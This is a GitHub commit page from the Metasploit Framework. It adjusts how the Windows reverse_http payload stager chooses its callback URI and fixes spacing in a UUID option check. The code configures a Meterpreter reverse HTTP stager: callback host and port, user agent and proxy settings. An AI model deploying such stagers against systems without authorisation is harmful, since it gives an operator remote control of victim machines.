Skip to content

Commit fb2da00

Browse files
author
HD Moore
committed
Fix rapid7#5662 by not generating a small uri by default
1 parent 5be94c1 commit fb2da00

File tree

2 files changed

+5
-3
lines changed

2 files changed

+5
-3
lines changed

lib/msf/core/payload/uuid/options.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ def generate_uri_uuid_mode(mode,len=nil)
3636
# The URI length may not have room for an embedded UUID
3737
if len && len < URI_CHECKSUM_UUID_MIN_LEN
3838
# Throw an error if the user set a seed, but there is no room for it
39-
if datastore['PayloadUUIDSeed'].to_s.length > 0 ||datastore['PayloadUUIDRaw'].to_s.length > 0
39+
if datastore['PayloadUUIDSeed'].to_s.length > 0 || datastore['PayloadUUIDRaw'].to_s.length > 0
4040
raise ArgumentError, "A PayloadUUIDSeed or PayloadUUIDRaw value was specified, but this payload doesn't have enough room for a UUID"
4141
end
4242
return "/" + generate_uri_checksum(sum, len, prefix="")

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -46,20 +46,22 @@ def generate(opts={})
4646
ssl: opts[:ssl] || false,
4747
host: datastore['LHOST'],
4848
port: datastore['LPORT'],
49-
url: generate_small_uri,
5049
retry_count: datastore['StagerRetryCount']
5150
}
5251

5352
# Add extra options if we have enough space
5453
unless self.available_space.nil? || required_space > self.available_space
55-
conf[:url] = generate_uri
54+
5655
conf[:exitfunk] = datastore['EXITFUNC']
5756
conf[:ua] = datastore['MeterpreterUserAgent']
5857
conf[:proxy_host] = datastore['PayloadProxyHost']
5958
conf[:proxy_port] = datastore['PayloadProxyPort']
6059
conf[:proxy_user] = datastore['PayloadProxyUser']
6160
conf[:proxy_pass] = datastore['PayloadProxyPass']
6261
conf[:proxy_type] = datastore['PayloadProxyType']
62+
else
63+
# Otherwise default to small URIs
64+
conf[:url] = generate_small_uri
6365
end
6466

6567
generate_reverse_http(conf)

0 commit comments

Comments
 (0)